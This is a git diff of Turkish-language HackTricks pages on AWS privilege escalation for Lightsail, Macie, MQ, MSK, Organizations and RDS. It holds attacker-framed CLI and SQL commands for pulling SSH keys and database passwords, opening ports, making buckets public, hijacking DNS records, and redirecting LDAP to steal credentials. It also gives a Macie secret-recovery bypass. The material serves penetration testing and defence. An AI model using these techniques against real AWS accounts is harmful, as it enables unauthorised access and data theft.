update-relational-database --relational-database-name --publicly-accessible -``` -**Olası Etki:** Veritabanında hassas bilgileri bulma. - -### `lightsail:OpenInstancePublicPorts` - -Bu izin, portları İnternete açmaya olanak tanır. -```bash -aws lightsail open-instance-public-ports \ ---instance-name MEAN-2 \ ---port-info fromPort=22,protocol=TCP,toPort=22 -``` -**Olası Etki:** Hassas portlara erişim. - -### `lightsail:PutInstancePublicPorts` - -Bu izin, portları İnternet'e açmaya olanak tanır. Bu çağrının, belirtilmeyen herhangi bir açılan portu kapatacağını unutmayın. -```bash -aws lightsail put-instance-public-ports \ ---instance-name MEAN-2 \ ---port-infos fromPort=22,protocol=TCP,toPort=22 -``` -**Olası Etki:** Hassas portlara erişim. - -### `lightsail:SetResourceAccessForBucket` - -Bu izin, bir örneğe ek kimlik bilgileri olmadan bir kovaya erişim verme imkanı tanır. -```bash -aws set-resource-access-for-bucket \ ---resource-name \ ---bucket-name \ ---access allow -``` -**Olası Etki:** Hassas bilgilere sahip bucket'lara potansiyel yeni erişim. - -### `lightsail:UpdateBucket` - -Bu izinle bir saldırgan, kendi AWS hesabına bucket'lar üzerinde okuma erişimi verebilir veya bucket'ları herkes için halka açık hale getirebilir: -```bash -# Grant read access to exterenal account -aws update-bucket --bucket-name --readonly-access-accounts - -# Grant read to the public -aws update-bucket --bucket-name --access-rules getObject=public,allowPublicOverrides=true - -# Bucket private but single objects can be public -aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true -``` -**Olası Etki:** Hassas bilgileri içeren bucket'lara potansiyel yeni erişim. - -### `lightsail:UpdateContainerService` - -Bu izinlerle bir saldırgan, konteyner hizmetinden özel ECR'lere erişim verebilir. -```bash -aws update-container-service \ ---service-name \ ---private-registry-access ecrImagePullerRole={isActive=boolean} -``` -**Olası Etki:** Özel ECR'den hassas bilgileri elde etme - -### `lightsail:CreateDomainEntry` - -Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-postaları sahtelemek için bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir. -```bash -aws lightsail create-domain-entry \ ---domain-name example.com \ ---domain-entry name=dev.example.com,type=A,target=192.0.2.0 -``` -**Olası Etki:** Bir alan adını ele geçirmek - -### `lightsail:UpdateDomainEntry` - -Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-posta sahteciliği yapmasına olanak tanıyan bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir. -```bash -aws lightsail update-domain-entry \ ---domain-name example.com \ ---domain-entry name=dev.example.com,type=A,target=192.0.2.0 -``` -**Olası Etki:** Bir alanı ele geçirmek - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md new file mode 100644 index 000000000..064fb8682 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md @@ -0,0 +1,136 @@ +# AWS - Lightsail Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +For more information about Lightsail check: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +> [!WARNING] +> Lightsail'in **kullanıcıya ait IAM rollerini kullanmadığını**, bunun yerine AWS tarafından yönetilen bir hesaba ait olduğunu not etmek önemlidir; bu yüzden bu servisi privesc amaçlı kötüye kullanamazsınız. Ancak, kod, API keys ve veritabanı bilgileri gibi **hassas veriler** bu serviste bulunabilir. + +### `lightsail:DownloadDefaultKeyPair` + +This permission will allow you to get the SSH keys to access the instances: +``` +aws lightsail download-default-key-pair +``` +**Olası Etki:** instance'ların içinde hassas bilgileri bulma. + +### `lightsail:GetInstanceAccessDetails` + +Bu izin, instance'lara erişmek için SSH anahtarları oluşturmanıza olanak tanır: +```bash +aws lightsail get-instance-access-details --instance-name +``` +**Potansiyel Etki:** instances içinde hassas bilgi bulunabilir. + +### `lightsail:CreateBucketAccessKey` + +Bu izin, bucket'a erişim için bir anahtar almanızı sağlar: +```bash +aws lightsail create-bucket-access-key --bucket-name +``` +**Olası Etki:** Bucket içinde hassas bilgilerin bulunması. + +### `lightsail:GetRelationalDatabaseMasterUserPassword` + +Bu izin, veritabanına erişmek için gerekli kimlik bilgilerini almanızı sağlar: +```bash +aws lightsail get-relational-database-master-user-password --relational-database-name +``` +**Olası Etki:** Veritabanı içindeki hassas bilgileri bulma. + +### `lightsail:UpdateRelationalDatabase` + +Bu izin, veritabanına erişim parolasını değiştirmenize olanak tanır: +```bash +aws lightsail update-relational-database --relational-database-name --master-user-password +``` +Eğer veritabanı herkese açık değilse, bu izinlerle herkese açık hale de getirebilirsiniz. +```bash +aws lightsail update-relational-database --relational-database-name --publicly-accessible +``` +**Potansiyel Etki:** Veritabanı içinde hassas bilgilerin bulunması. + +### `lightsail:OpenInstancePublicPorts` + +Bu izin, portları Internet'e açmaya izin verir. +```bash +aws lightsail open-instance-public-ports \ +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 +``` +**Potansiyel Etki:** Hassas portlara erişim. + +### `lightsail:PutInstancePublicPorts` + +Bu izin, portları internete açmaya izin verir. Dikkat: yapılan çağrı, belirtilmeyen tüm açık portları kapatacaktır. +```bash +aws lightsail put-instance-public-ports \ +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 +``` +**Olası Etki:** Hassas portlara erişim. + +### `lightsail:SetResourceAccessForBucket` + +Bu izin, instances'lara herhangi bir ek kimlik bilgisi olmadan bir bucket'a erişim vermeyi sağlar. +```bash +aws set-resource-access-for-bucket \ +--resource-name \ +--bucket-name \ +--access allow +``` +**Potential Impact:** Hassas bilgiler içeren buckets'lara potansiyel yeni erişim. + +### `lightsail:UpdateBucket` + +Bu izinle bir saldırgan kendi AWS hesabına buckets'lara okuma erişimi verebilir veya buckets'ları herkese açık hale getirebilir: +```bash +# Grant read access to exterenal account +aws update-bucket --bucket-name --readonly-access-accounts + +# Grant read to the public +aws update-bucket --bucket-name --access-rules getObject=public,allowPublicOverrides=true + +# Bucket private but single objects can be public +aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true +``` +**Potential Impact:** Hassas bilgi içeren buckets'lara potansiyel yeni erişim. + +### `lightsail:UpdateContainerService` + +Bu izinlerle bir attacker containers service üzerinden private ECRs'e erişim verebilir. +```bash +aws update-container-service \ +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} +``` +**Potential Impact:** Özel ECR'den hassas bilgilerin ele geçirilmesi + +### `lightsail:CreateDomainEntry` + +Bu izne sahip bir saldırgan alt alan oluşturup bunu kendi IP adresine yönlendirebilir (subdomain takeover), alan adından spoof emails göndermesine olanak tanıyan bir SPF kaydı oluşturabilir veya hatta ana alan adını kendi IP adresine yönlendirebilir. +```bash +aws lightsail create-domain-entry \ +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 +``` +**Potential Impact:** Bir alan adının ele geçirilmesi + +### `lightsail:UpdateDomainEntry` + +Bu izne sahip bir saldırgan bir subdomain oluşturup bunu kendi IP address'ine yönlendirerek (subdomain takeover) veya domaine ait e-postaları spoof etmesine izin veren bir SPF record oluşturabilir, hatta ana domain'i kendi IP address'ine yönlendirebilir. +```bash +aws lightsail update-domain-entry \ +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 +``` +**Olası Etki:** Takeover a domain + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md deleted file mode 100644 index a6c7b8688..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - Macie Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Macie - -Macie hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-macie-enum.md -{{#endref}} - -### Amazon Macie - `Reveal Sample` Bütünlük Kontrolünü Atlatma - -AWS Macie, AWS ortamlarında kimlik bilgileri, kişisel olarak tanımlanabilir bilgiler (PII) ve diğer gizli veriler gibi hassas verileri otomatik olarak tespit eden bir güvenlik hizmetidir. Macie, bir S3 kovasında saklanan bir AWS gizli anahtarı gibi hassas bir kimlik bilgisi tespit ettiğinde, sahibinin tespit edilen verinin bir "örneğini" görüntülemesine olanak tanıyan bir bulgu oluşturur. Genellikle, hassas dosya S3 kovasından kaldırıldığında, gizlinin artık geri alınamayacağı beklenir. - -Ancak, yeterli izinlere sahip bir saldırganın **aynı isimle** ancak farklı, hassas olmayan sahte veriler içeren bir dosyayı **yeniden yükleyebileceği** bir **atlatma** tespit edilmiştir. Bu, Macie'nin yeni yüklenen dosyayı orijinal bulgu ile ilişkilendirmesine neden olur ve saldırganın daha önce tespit edilen gizli bilgiyi çıkarmak için **"Reveal Sample" özelliğini** kullanmasına olanak tanır. Bu sorun, silindiği varsayılan gizli bilgilerin bu yöntemle geri alınabilir olması nedeniyle önemli bir güvenlik riski oluşturur. - -![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) - -**Yeniden Üretme Adımları:** - -1. Hassas veriler içeren bir dosya (örneğin, `test-secret.txt`) S3 kovasına yükleyin, örneğin bir AWS gizli anahtarı. AWS Macie'nin tarama yapmasını ve bir bulgu oluşturmasını bekleyin. - -2. AWS Macie Bulgularına gidin, oluşturulan bulguyu bulun ve tespit edilen gizli bilgiyi görüntülemek için **Reveal Sample** özelliğini kullanın. - -3. `test-secret.txt` dosyasını S3 kovasından silin ve artık mevcut olmadığını doğrulayın. - -4. Sahte verilerle yeni bir `test-secret.txt` dosyası oluşturun ve bunu **saldırganın hesabı** ile aynı S3 kovasına yeniden yükleyin. - -5. AWS Macie Bulgularına geri dönün, orijinal bulguyu erişin ve tekrar **Reveal Sample**'a tıklayın. - -6. Dosyanın silinmesine ve farklı içerikle değiştirilmesine rağmen Macie'nin hala orijinal gizli bilgiyi ortaya çıkardığını gözlemleyin **farklı hesaplardan, bizim durumumuzda saldırganın hesabı olacaktır**. - -**Özet:** - -Bu güvenlik açığı, yeterli AWS IAM izinlerine sahip bir saldırganın, orijinal dosya S3'ten silinmiş olsa bile daha önce tespit edilen gizli bilgileri geri almasına olanak tanır. Eğer bir AWS gizli anahtarı, erişim belirteci veya diğer hassas kimlik bilgileri ifşa edilirse, bir saldırgan bu açığı kullanarak bunları geri alabilir ve AWS kaynaklarına yetkisiz erişim sağlayabilir. Bu, ayrıcalık yükselmesine, yetkisiz veri erişimine veya bulut varlıklarının daha fazla tehlikeye girmesine yol açabilir ve veri ihlalleri ile hizmet kesintilerine neden olabilir. -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md new file mode 100644 index 000000000..40f0e26a4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md @@ -0,0 +1,38 @@ +# AWS - Macie Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Macie + +Daha fazla bilgi için Macie'ye bakın: + +{{#ref}} +../../aws-services/aws-macie-enum.md +{{#endref}} + +### Amazon Macie - Bypass `Reveal Sample` Integrity Check + +AWS Macie, AWS ortamlarındaki kimlik bilgileri, kişisel olarak tanımlanabilir bilgiler (PII) ve diğer gizli veriler gibi hassas verileri otomatik olarak tespit eden bir güvenlik servisidir. Macie, bir S3 bucket içinde saklanan AWS secret key gibi hassas bir kimlik bilgisi tespit ettiğinde, sahibinin tespit edilen verinin bir "sample"ını görüntülemesine izin veren bir finding oluşturur. Genellikle, hassas dosya S3 bucket'tan kaldırıldığında, secret'ın artık erişilemez olduğu varsayılır. + +Ancak, yeterli izne sahip bir saldırganın aynı isimle fakat farklı, hassas olmayan dummy veri içeren bir dosyayı yeniden yükleyebilmesiyle bir **bypass** tespit edilmiştir. Bu durum Macie'nin yeni yüklenen dosyayı orijinal finding ile ilişkilendirmesine neden olur ve saldırganın orijinal secret'ı çıkarmak için **"Reveal Sample" feature**'ını kullanmasına olanak sağlar. Bu sorun, silinmiş olduğu varsayılan secret'ların bu yöntemle halen elde edilebilir olması nedeniyle ciddi bir güvenlik riski oluşturur. + +![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) + +**Yeniden Üretme Adımları:** + +1. S3 bucket'a `test-secret.txt` gibi içinde AWS secret key gibi hassas veri bulunan bir dosya yükleyin. AWS Macie'nin tarayıp bir finding oluşturmasını bekleyin. + +2. AWS Macie Findings'e gidin, oluşturulan finding'i bulun ve tespit edilen secret'ı görüntülemek için **Reveal Sample** özelliğini kullanın. + +3. S3 bucket'tan `test-secret.txt` dosyasını silin ve artık mevcut olmadığını doğrulayın. + +4. Aynı isimde (`test-secret.txt`) dummy veri içeren yeni bir dosya oluşturun ve **saldırganın hesabı** kullanılarak aynı S3 bucket'a yeniden yükleyin. + +5. AWS Macie Findings'e geri dönün, orijinal finding'e erişin ve tekrar **Reveal Sample**'a tıklayın. + +6. Macie'nin, dosya silinip farklı içerikle değiştirilmiş olmasına rağmen orijinal secret'ı hâlâ açığa çıkardığını gözlemleyin — bu durumda içerik farklı hesaplardan, bizim örneğimizde saldırganın hesabından yüklenmiş olsa bile. + +**Özet:** + +Bu zafiyet, yeterli AWS IAM izinlerine sahip bir saldırganın, orijinal dosya S3'ten silindikten sonra bile daha önce tespit edilmiş secret'ları geri kazanmasına olanak tanır. Bir AWS secret key, access token veya başka bir hassas kimlik bilgisi sızdırıldıysa, saldırgan bu açığı kullanarak bunları alıp AWS kaynaklarına yetkisiz erişim elde edebilir. Bu durum privilege escalation, yetkisiz veri erişimi veya bulut varlıklarının daha fazla kompromize olmasıyla sonuçlanarak veri ihlallerine ve hizmet kesintilerine yol açabilir. +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md index 54a521e28..fbc4b45c8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md @@ -1,21 +1,21 @@ # AWS - Mediapackage Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### `mediapackage:RotateChannelCredentials` -Channel'ın ilk IngestEndpoint'inin kullanıcı adını ve şifresini değiştirir. (Bu API, RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) +Channel'ın ilk IngestEndpoint'inin kullanıcı adı ve parolasını değiştirir. (Bu API RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Kanalın ilk IngestEndpoint'inin kullanıcı adını ve şifresini değiştirir. (Bu API, RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) +Channel'ın ilk IngestEndpoint'inin kullanıcı adı ve parolasını değiştirir. (Bu API RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` -## Referanslar +## Kaynaklar - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md deleted file mode 100644 index bcd0457ee..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - MQ Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MQ - -MQ hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-mq-enum.md -{{#endref}} - -### `mq:ListBrokers`, `mq:CreateUser` - -Bu izinlerle **bir ActimeMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz): -```bash -aws mq list-brokers -aws mq create-user --broker-id --console-access --password --username -``` -**Olası Etki:** ActiveMQ üzerinden hassas bilgilere erişim - -### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` - -Bu izinlerle **bir ActiveMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz): -```bash -aws mq list-brokers -aws mq list-users --broker-id -aws mq update-user --broker-id --console-access --password --username -``` -**Olası Etki:** ActiveMQ üzerinden hassas bilgilere erişim - -### `mq:ListBrokers`, `mq:UpdateBroker` - -Eğer bir broker **ActiveMQ** ile yetkilendirme için **LDAP** kullanıyorsa, **saldırgan tarafından kontrol edilen** **LDAP sunucusunun** **konfigürasyonunu değiştirmek** mümkündür. Bu şekilde saldırgan, **LDAP üzerinden gönderilen tüm kimlik bilgilerini çalabilir**. -```bash -aws mq list-brokers -aws mq update-broker --broker-id --ldap-server-metadata=... -``` -Eğer ActiveMQ tarafından kullanılan orijinal kimlik bilgilerini bir şekilde bulabilirseniz, bir MitM gerçekleştirebilir, kimlik bilgilerini çalabilir, bunları orijinal sunucuda kullanabilir ve yanıtı gönderebilirsiniz (belki sadece çalınan kimlik bilgilerini yeniden kullanarak bunu yapabilirsiniz). - -**Olası Etki:** ActiveMQ kimlik bilgilerini çalmak - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md new file mode 100644 index 000000000..c3300733d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md @@ -0,0 +1,43 @@ +# AWS - MQ Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MQ + +MQ hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-mq-enum.md +{{#endref}} + +### `mq:ListBrokers`, `mq:CreateUser` + +Bu izinlerle **ActimeMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz): +```bash +aws mq list-brokers +aws mq create-user --broker-id --console-access --password --username +``` +**Olası Etki:** ActiveMQ üzerinden gezinerek hassas bilgilere erişim + +### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` + +Bu izinlerle **bir ActimeMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz): +```bash +aws mq list-brokers +aws mq list-users --broker-id +aws mq update-user --broker-id --console-access --password --username +``` +**Potansiyel Etki:** ActiveMQ içinde gezinerek hassas bilgilere erişim + +### `mq:ListBrokers`, `mq:UpdateBroker` + +Eğer bir broker **ActiveMQ** ile yetkilendirme için **LDAP** kullanıyorsa. Kullanılan LDAP sunucusunun **yapılandırmasını** **saldırganın kontrolündeki bir sunucuya** **değiştirmek** mümkündür. Böylece saldırgan **LDAP üzerinden gönderilen tüm kimlik bilgilerini çalabilecektir**. +```bash +aws mq list-brokers +aws mq update-broker --broker-id --ldap-server-metadata=... +``` +Eğer bir şekilde ActiveMQ tarafından kullanılan orijinal credentials'ı bulabilirseniz, bir MitM gerçekleştirebilir, creds'i çalabilir, orijinal sunucuda bunları kullanıp yanıtı gönderebilirsiniz (belki çalınan creds'i yeniden kullanarak bunu yapabilirsiniz). + +**Olası Etki:** ActiveMQ credentials çalınması + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md deleted file mode 100644 index 4fa50473e..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ /dev/null @@ -1,22 +0,0 @@ -# AWS - MSK Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MSK - -MSK (Kafka) hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-msk-enum.md -{{#endref}} - -### `msk:ListClusters`, `msk:UpdateSecurity` - -Bu **yetkiler** ve **kafka brokerlarının bulunduğu VPC'ye erişim ile**, onlara erişmek için **None authentication** ekleyebilirsiniz. -```bash -aws msk --client-authentication --cluster-arn --current-version -``` -VPC'ye erişiminiz olmalı çünkü **Kafka'yı kamuya açık bir şekilde None kimlik doğrulaması ile etkinleştiremezsiniz**. Eğer kamuya açıksa, **SASL/SCRAM** kimlik doğrulaması kullanılıyorsa, **gizli anahtarı** okumak için erişim sağlayabilirsiniz (gizli anahtarı okumak için ek ayrıcalıklara ihtiyacınız olacak).\ -Eğer **IAM rol tabanlı kimlik doğrulaması** kullanılıyorsa ve **kafka kamuya açık bir şekilde** maruz kalıyorsa, bu ayrıcalıkları kötüye kullanarak erişim izinleri alabilirsiniz. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md new file mode 100644 index 000000000..121cb9c16 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md @@ -0,0 +1,22 @@ +# AWS - MSK Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MSK + +MSK (Kafka) hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-msk-enum.md +{{#endref}} + +### `msk:ListClusters`, `msk:UpdateSecurity` + +Bu **yetkiler** ve **kafka broker'larının bulunduğu VPC'ye erişim** ile, onlara erişmek için **None authentication** ekleyebilirsiniz. +```bash +aws msk --client-authentication --cluster-arn --current-version +``` +VPC'ye erişmeniz gerekiyor çünkü Kafka halka açıkken **None authentication** etkinleştirilemez. Halka açıksa, **SASL/SCRAM** authentication kullanılıyorsa, erişim için **secret'i okuyabilirsiniz** (secret'i okumak için ek ayrıcalıklara ihtiyacınız olacak).\ +Eğer **IAM role-based authentication** kullanılıyorsa ve **kafka halka açık** ise, bu ayrıcalıkları kötüye kullanarak kendinize erişim izni verebilirsiniz. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md deleted file mode 100644 index 7e158f33c..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Organizasyonlar Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Organizasyonlar - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -## Yönetim Hesabından Çocuk Hesaplara - -Eğer root/yönetim hesabını ele geçirirseniz, tüm çocuk hesapları ele geçirme şansınız vardır.\ -[**Bunu nasıl öğrenirsiniz bu sayfaya bakın**](../#compromising-the-organization). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md new file mode 100644 index 000000000..60ea2ba97 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md @@ -0,0 +1,18 @@ +# AWS - Organizations Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +## Yönetim hesabından alt hesaplara + +Root/yönetim hesabını ele geçirirseniz, muhtemelen tüm alt hesapları da ele geçirebilirsiniz.\ +To [**learn how check this page**](../../index.html#compromising-the-organization). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md deleted file mode 100644 index 6fbea136c..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ /dev/null @@ -1,151 +0,0 @@ -# AWS - RDS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - İlişkisel Veritabanı Servisi - -RDS hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### `rds:ModifyDBInstance` - -Bu izinle bir saldırgan **ana kullanıcının şifresini değiştirebilir** ve veritabanındaki oturumu değiştirebilir: -```bash -# Get the DB username, db name and address -aws rds describe-db-instances - -# Modify the password and wait a couple of minutes -aws rds modify-db-instance \ ---db-instance-identifier \ ---master-user-password 'Llaody2f6.123' \ ---apply-immediately - -# In case of postgres -psql postgresql://:@:5432/ -``` -> [!WARNING] -> Veritabanına **ulaşabilmeniz** gerekecek (genellikle yalnızca iç ağlardan erişilebilirler). - -**Olası Etki:** Veritabanlarında hassas bilgileri bulmak. - -### rds-db:connect - -[**belgelere**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) göre, bu izne sahip bir kullanıcı DB örneğine bağlanabilir. - -### RDS Rol IAM izinlerini kötüye kullanma - -#### Postgresql (Aurora) - -> [!TIP] -> **`SELECT datname FROM pg_database;`** komutunu çalıştırdığınızda **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanası** içinde olduğunuzu bilirsiniz. - -Öncelikle bu veritabanının başka bir AWS hizmetine erişim için kullanılıp kullanılmadığını kontrol edebilirsiniz. Bunu, kurulu uzantılara bakarak kontrol edebilirsiniz: -```sql -SELECT * FROM pg_extension; -``` -Eğer **`aws_s3`** gibi bir şey bulursanız, bu veritabanının **S3 üzerinde bir tür erişime sahip olduğunu** varsayabilirsiniz (diğer uzantılar **`aws_ml`** ve **`aws_lambda`** gibi uzantılar da vardır). - -Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izinleriniz varsa, **`AssociatedRoles`** alanında **kümenin herhangi bir IAM Rolü ile ilişkilendirilip ilişkilendirilmediğini** görebilirsiniz. Eğer varsa, veritabanının **diğer AWS hizmetlerine erişim için hazırlandığını** varsayabilirsiniz. **Rolün adı** (veya rolün **izinlerini** alabiliyorsanız) temelinde, veritabanının ne tür ek erişimlere sahip olduğunu **tahmin edebilirsiniz**. - -Artık, bir **bucket** içindeki bir dosyayı **okumak için** tam yolu bilmeniz gerekiyor. Bunu şu şekilde okuyabilirsiniz: -```sql -// Create table -CREATE TABLE ttemp (col TEXT); - -// Create s3 uri -SELECT aws_commons.create_s3_uri( -'test1234567890678', // Name of the bucket -'data.csv', // Name of the file -'eu-west-1' //region of the bucket -) AS s3_uri \gset - -// Load file contents in table -SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); - -// Get info -SELECT * from ttemp; - -// Delete table -DROP TABLE ttemp; -``` -Eğer **ham AWS kimlik bilgilerine** sahip olsaydınız, bunları S3 verilerine erişmek için de kullanabilirdiniz: -```sql -SELECT aws_s3.table_import_from_s3( -'t', '', '(format csv)', -:'s3_uri', -aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') -); -``` -> [!NOTE] -> Postgresql **herhangi bir parametre grubu değişkenini değiştirmeye ihtiyaç duymuyor** S3'e erişebilmek için. - -#### Mysql (Aurora) - -> [!TIP] -> Bir mysql içinde, **`SELECT User, Host FROM mysql.user;`** sorgusunu çalıştırırsanız ve **`rdsadmin`** adında bir kullanıcı varsa, **AWS RDS mysql db** içinde olduğunuzu varsayabilirsiniz. - -Mysql içinde **`show variables;`** komutunu çalıştırın ve **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** gibi değişkenlerin değerleri varsa, veritabanının S3 verilerine erişmeye hazır olduğunu varsayabilirsiniz. - -Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izniniz varsa, kümenin herhangi bir **ilişkili rolü** olup olmadığını kontrol edebilirsiniz; bu genellikle AWS hizmetlerine erişim anlamına gelir. - -Artık, **bir bucket içindeki bir dosyayı okumak için** tam yolu bilmeniz gerekiyor. Bunu şu şekilde okuyabilirsiniz: -```sql -CREATE TABLE ttemp (col TEXT); -LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); -SELECT * FROM ttemp; -DROP TABLE ttemp; -``` -### `rds:AddRoleToDBCluster`, `iam:PassRole` - -`rds:AddRoleToDBCluster` ve `iam:PassRole` izinlerine sahip bir saldırgan, **mevcut bir RDS örneğine belirli bir rol ekleyebilir**. Bu, saldırgana **hassas verilere erişim** sağlama veya örnekteki verileri değiştirme imkanı verebilir. -```bash -aws add-role-to-db-cluster --db-cluster-identifier --role-arn -``` 